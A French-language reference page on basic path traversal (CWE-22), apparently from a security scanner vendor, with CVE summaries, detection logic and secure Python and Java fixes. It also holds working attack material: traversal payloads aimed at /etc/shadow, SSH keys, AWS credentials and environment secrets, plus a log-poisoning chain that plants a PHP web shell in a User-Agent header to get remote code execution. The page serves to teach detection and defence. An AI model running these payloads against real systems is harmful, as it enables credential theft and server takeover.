Path traversal basique (CWE-22) : séquences ../ dans les paramètres de nom de fichier pour lire des fichiers arbitraires hors du répertoire autorisé.
TL;DR
../ dans les paramètres de fichier pour s'échapper du répertoire de base de l'application/proc/self/environ contient souvent des secrets cloud (AWS_SECRET_ACCESS_KEY, DATABASE_URL) dans les environnements d'exécution@/etc/passwd — lecture de fichier non authentifiéeos.path.realpath + startsWith(base + sep) — pas le remplacement de chaîne de ../Le path traversal de base exploite l'entrée de répertoire .. du système de fichiers, qui fait référence au parent du répertoire courant. Quand une application construit un chemin de fichier en concaténant un répertoire de base fixe avec une entrée fournie par l'utilisateur — sans normaliser le résultat — un attaquant peut insérer des séquences ../ répétées pour monter au-dessus de la base prévue et atteindre n'importe quel fichier accessible sur le serveur.
Sous CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) et OWASP A01:2021, c'est la forme fondamentale de la classe de vulnérabilité. Elle ne nécessite aucun encodage, aucun caractère spécial au-delà de ., / et les alphanumériques, et aucune authentification. L'attaque fonctionne parce que la résolution du système de fichiers POSIX gère .. silencieusement : /var/www/uploads/../../etc/passwd se résout exactement en /etc/passwd.
La vulnérabilité est la plus courante dans les endpoints de téléchargement de fichiers, les visualiseurs de documents, les chargeurs de templates, les visualiseurs de logs et toute fonctionnalité qui accepte un nom de fichier ou un chemin comme paramètre de requête. Les noms de paramètres Tier-1 — file, path, page, template, include, resource, document, lang, theme — portent une association historique avec l'accès direct au système de fichiers, mais tout paramètre dont la valeur ressemble à un chemin est candidat.
Le serveur construit un chemin complet du système de fichiers en joignant un répertoire de base codé en dur avec la valeur fournie par l'utilisateur. Sans résolution canonique avant l'appel au système de fichiers, les segments .. s'échappent de la base.
GET /download?file=../../../../etc/passwd HTTP/1.1
Host: vulnerable.example.com
HTTP/1.1 200 OK
Content-Type: application/octet-stream
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologinGET /api/files?name=../../../proc/self/environ HTTP/1.1
Host: vulnerable.example.com
HTTP/1.1 200 OK
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
HOME=/app
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalrXUt...
DATABASE_URL=postgresql://admin:password@db:5432/prodLa profondeur de traversée requise dépend de la profondeur d'imbrication du répertoire de base. Utiliser 7 répétitions ../ assure le succès quelle que soit le niveau d'imbrication, car les séquences .. supplémentaires à la racine du système de fichiers sont silencieusement ignorées par la résolution POSIX.
| Variante | Payload | Cible | Impact |
|---|---|---|---|
| Divulgation de credentials | ../../../../etc/passwd | Serveurs Linux | Énumération d'utilisateurs |
| Exfiltration de secrets | ../../../../proc/self/environ | N'importe quelle app conteneurisée | Clés cloud, mots de passe DB |
| Vol de clé SSH | ../../../../root/.ssh/id_rsa | Serveurs accessibles en root | Accès SSH direct |
| Vol de credentials AWS | ../../../../root/.aws/credentials | Apps hébergées dans le cloud | Accès complet au compte AWS |
| Config Spring | ../WEB-INF/classes/application.properties | Java/Tomcat | Credentials DB, secrets |
| Descripteur web | ../WEB-INF/web.xml | Tomcat, AltoroJ | Structure app, config servlet |
| LFI vers empoisonnement de logs | ../../../../var/log/apache2/access.log&cmd=id | Apps PHP avec Apache | Exécution de code à distance |
| Divulgation source PHP | php://filter/convert.base64-encode/resource=index.php | Apps PHP | Code source, credentials hardcodés |
Les fichiers suivants représentent les cibles de lecture à plus fort impact sur les serveurs Linux. Chacun inclut son marqueur de confirmation — le motif qui confirme une traversée réussie dans le corps de la réponse.
| Fichier | Marqueur de confirmation | Impact |
|---|---|---|
/etc/passwd | root:x:0:0: | Énumération d'utilisateurs |
/etc/shadow | $6$, $y$, $2b$ | Crackage hors ligne des hashes de mots de passe |
/proc/self/environ | PATH=, HOME=, DATABASE_URL= | Secrets d'exécution (clés cloud, URLs DB) |
/proc/self/cmdline | php, python, java, gunicorn | Empreinte du processus |
~/.ssh/id_rsa | -----BEGIN OPENSSH PRIVATE KEY----- | Connexion SSH à tous les systèmes utilisant cette clé |
~/.aws/credentials | [default], aws_access_key_id= | Compromission complète du compte AWS |
/app/.env, /.env | DATABASE_URL=, SECRET_KEY=, API_KEY= | Tous les secrets de l'application en un seul fichier |
/var/log/apache2/access.log | Lignes de requêtes HTTP | LFI vers RCE via empoisonnement de logs |
L'empoisonnement de logs convertit une lecture de fichier de base en exécution de code à distance en trois étapes, ne nécessitant que la capacité du processus du serveur web à lire son propre log d'accès.
Étape 1 — Empoisonner le log en injectant du code PHP dans un en-tête qu'Apache ou Nginx enregistre verbatim :
GET / HTTP/1.1
Host: target.com
User-Agent: <?php system($_GET['cmd']); ?>Apache écrit cette ligne dans /var/log/apache2/access.log :
192.168.1.1 - - [09/May/2026:10:15:00 +0000] "GET / HTTP/1.1" 200 612 "-" "<?php system($_GET['cmd']); ?>"Étape 2 — Inclure le log via le paramètre de path traversal :
GET /download?file=../../../var/log/apache2/access.log&cmd=id HTTP/1.1
Host: target.com
uid=33(www-data) gid=33(www-data) groups=33(www-data)Autres fichiers de logs quand le log d'accès Apache n'est pas lisible : /var/log/nginx/access.log, /var/log/auth.log (empoisonnable via une connexion SSH avec du code PHP comme nom d'utilisateur), et /proc/self/fd/2 (stderr du processus, toujours lisible par le processus lui-même).
CVE-2024-23897 — Jenkins CLI Arbitrary File Read (CVSS 9.8, CISA KEV) : l'analyseur d'arguments CLI args4j de Jenkins activait une fonctionnalité appelée expandAtFiles() qui remplaçait les tokens @/path/to/file dans les arguments CLI par le contenu du fichier. Un attaquant non authentifié envoyait des commandes CLI via HTTP, WebSocket ou SSH contenant des arguments comme @/var/jenkins_home/secrets/master.key ou @/etc/passwd. Le serveur Jenkins lisait et retournait le contenu du fichier comme partie de la sortie d'erreur CLI. Aucune authentification n'était requise. Le groupe de ransomware RansomEXX a exploité cette vulnérabilité pour voler des credentials d'un fournisseur de la National Payments Corporation of India, causant des perturbations de service dans plus de 300 banques. CISA l'a ajouté au catalogue Known Exploited Vulnerabilities avec une date limite de correction obligatoire au 9 septembre 2024. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
CVE-2023-2825 — GitLab Path Traversal non authentifié (CVSS 10.0) : lecture de fichier arbitraire via path traversal dans GitLab Community Edition et Enterprise Edition via la gestion des URLs de projets imbriqués publics. Aucune authentification requise. Démonstration de lecture de /etc/passwd, tokens d'enregistrement de runner GitLab, clés privées SSH et fichiers de configuration internes. Analysé par WatchTowr Labs et les équipes sécurité Fastly. Un rapport HackerOne connexe (#733072) documentait une variante dans l'API Package Registry de GitLab qui permettait d'écrire des fichiers à des emplacements arbitraires, chaînant vers du RCE.
CVE-2024-23334 — aiohttp Static File Serving (CVSS 7.5) : la fonctionnalité de service de fichiers statiques de la bibliothèque Python aiohttp ne normalisait pas les séquences de path traversal dans les URIs de requête. Les applications utilisant StaticResource pour servir des fichiers depuis un répertoire étaient vulnérables à une lecture de fichier arbitraire. Exploitée par des opérateurs de ransomware qui scannaient des déploiements aiohttp via Shodan dans les jours suivant la divulgation.
file, filename, path, page, template, include, resource, doc, lang, layout, theme, download, attachment.../../../../etc/passwd et mesurer la taille de la réponse. Une réponse substantiellement plus grande qu'une page d'erreur typique mérite investigation./etc/passwd : root:x:0:0:, /bin/bash, nologin.../WEB-INF/web.xml — le marqueur de confirmation est <web-app./proc/self/environ dans l'ensemble des cibles — la confirmation est l'un des éléments AWS_ACCESS_KEY_ID=, GOOGLE_APPLICATION_CREDENTIALS=, AZURE_CLIENT_SECRET=.BreachVex détecte le path traversal de base via plusieurs techniques complémentaires : analyse par templates tagués lfi et traversal, fuzzing de paramètres sur une liste hiérarchisée de noms de paramètres sujets aux LFI, vérification HTTP directe utilisant 22 variantes de payload contre des regexes de confirmation spécifiques aux fichiers, et un prouveur LFI étendu avec une porte de contenu à trois critères. BreachVex escalade la sévérité à CRITICAL quand /etc/shadow ou ~/.ssh/id_rsa est confirmé, et marque les findings comme RCE-capables quand l'accès au wrapper php://filter est confirmé.
import os
BASE_DIR = os.path.realpath("/var/www/app/uploads")
def safe_download(filename: str) -> bytes:
# os.path.realpath résout tous les .., symlinks et l'encodage avant validation
requested = os.path.realpath(os.path.join(BASE_DIR, filename))
# Le os.sep final empêche /uploads_backup de passer la vérification /uploads
if not requested.startswith(BASE_DIR + os.sep):
raise PermissionError(f"Accès refusé : {filename!r}")
with open(requested, "rb") as f:
return f.read()// Java — getCanonicalFile résout tous les .. et symlinks
import java.io.*;
import java.nio.file.*;
public byte[] safeDownload(String filename) throws IOException {
File base = new File("/app/uploads").getCanonicalFile();
File requested = new File(base, filename).getCanonicalFile();
// toPath().startsWith() est sûr pour les préfixes contrairement à String.startsWith
if (!requested.toPath().startsWith(base.toPath())) {
throw new SecurityException("Tentative de path traversal : " + filename);
}
return Files.readAllBytes(requested.toPath());
}Restreindre l'ensemble des extensions de fichiers lisibles à celles dont la fonctionnalité a légitimement besoin. Cela limite la surface d'attaque même si la validation du chemin échoue :
ALLOWED_EXTENSIONS = {".pdf", ".png", ".jpg", ".jpeg", ".csv", ".xlsx"}
def validate_extension(filename: str) -> None:
ext = os.path.splitext(filename)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError(f"Type de fichier non autorisé : {ext!r}")Ne jamais utiliser le remplacement de chaîne pour supprimer ../ de l'entrée utilisateur comme défense. Le contournement ....// devient ../ après une suppression en une seule passe. La suppression récursive peut être contournée avec des séquences entrelacées. La seule approche sûre est la résolution canonique du chemin suivie d'une assertion de préfixe.
# Mapper des identifiants opaques vers de vrais chemins — l'utilisateur ne contrôle jamais directement le chemin
ALLOWED_FILES = {
"invoice_2025_q1": "/app/invoices/2025_q1.pdf",
"report_annual": "/app/reports/annual_2025.pdf",
}
def get_file(key: str) -> bytes:
path = ALLOWED_FILES.get(key)
if path is None:
raise ValueError("Identifiant de fichier inconnu")
with open(path, "rb") as f:
return f.read()Le path traversal de base (CWE-22) insère des séquences ../ dans des paramètres qui alimentent des opérations du système de fichiers. Chaque ../ navigue d'un niveau de répertoire vers le haut. Avec suffisamment de répétitions, l'attaquant s'échappe du répertoire de base de l'application et atteint des fichiers sensibles comme /etc/passwd, /proc/self/environ ou ~/.ssh/id_rsa.
Les paramètres nommés file, filename, filepath, path, include, page, template, module, resource, document, doc, view, download, attachment, export, report, log, config, lang, locale, theme et layout sont des cibles Tier-1. Tout paramètre dont la valeur ressemble à un chemin de fichier — commençant par /, contenant .., ou se terminant par une extension de fichier — est candidat quel que soit son nom.
Typiquement 4 à 7 répétitions suffisent car les séquences ../ supplémentaires à la racine du système de fichiers sont silencieusement ignorées. Le chemin /../../../../etc/passwd et /../../../../../../../../../../etc/passwd se résolvent tous deux en /etc/passwd. La plupart des payloads publics utilisent 7 répétitions pour assurer le succès de la traversée quelle que soit la profondeur d'imbrication du répertoire de base de l'application.
Pour /etc/passwd : des lignes correspondant à root:x:0:0: et /bin/bash. Pour /etc/shadow : des hashes commençant par $6$, $y$, ou $2b$. Pour /proc/self/environ : des paires clé=valeur incluant PATH=, HOME=, et fréquemment DATABASE_URL= ou AWS_SECRET_ACCESS_KEY=. Pour WEB-INF/web.xml : la balise XML <web-app.
L'empoisonnement de logs chaîne un path traversal en exécution de code à distance. Étape 1 : envoyer une requête avec User-Agent contenant du code PHP (<?php system($_GET['cmd']); ?>). Apache et Nginx écrivent ceci dans access.log verbatim. Étape 2 : inclure le log via le paramètre de path traversal (?file=../../../var/log/apache2/access.log&cmd=id). L'interpréteur PHP exécute le code injecté.
Oui. La fonctionnalité expandAtFiles() de l'analyseur CLI args4j de Jenkins remplaçait les tokens @/path/to/file dans les arguments CLI par le contenu du fichier. Un attaquant non authentifié passait @/etc/passwd ou @/var/jenkins_home/secrets/master.key comme argument CLI pour lire des fichiers arbitraires. CVSS 9.8, ajouté au CISA KEV, exploité par RansomEXX pour fermer plus de 300 banques indiennes.
CVE-2023-2825 est un path traversal non authentifié CVSS 10.0 dans GitLab CE/EE. Les attaquants forgeaient des URLs référençant des fichiers via des séquences de traversée de chemin relative dans la structure d'URL du projet public. Aucune authentification n'était requise pour lire /etc/passwd, les clés privées SSH et les tokens d'enregistrement de runner GitLab.
BreachVex applique une porte de contenu à trois critères : le statut HTTP doit être 200, le corps de la réponse doit faire au moins 10 octets, et le corps doit correspondre à une regex de marqueur spécifique au fichier (ex. root:x?:[0-9]+:[0-9]+: pour /etc/passwd). Les hits d'analyse ou de fuzzing initiaux qui échouent la porte de contenu sont rétrogradés en finding potentiel de faible sévérité plutôt que supprimés.
/etc/shadow expose les hashes de mots de passe pour un crackage hors ligne. /proc/self/environ contient fréquemment des secrets injectés comme variables d'environnement par Docker, Kubernetes et les plateformes cloud — AWS_SECRET_ACCESS_KEY, DATABASE_URL, API_KEY. ~/.ssh/id_rsa fournit un accès SSH direct. Les fichiers .env de l'application contiennent souvent tous les credentials en un seul fichier.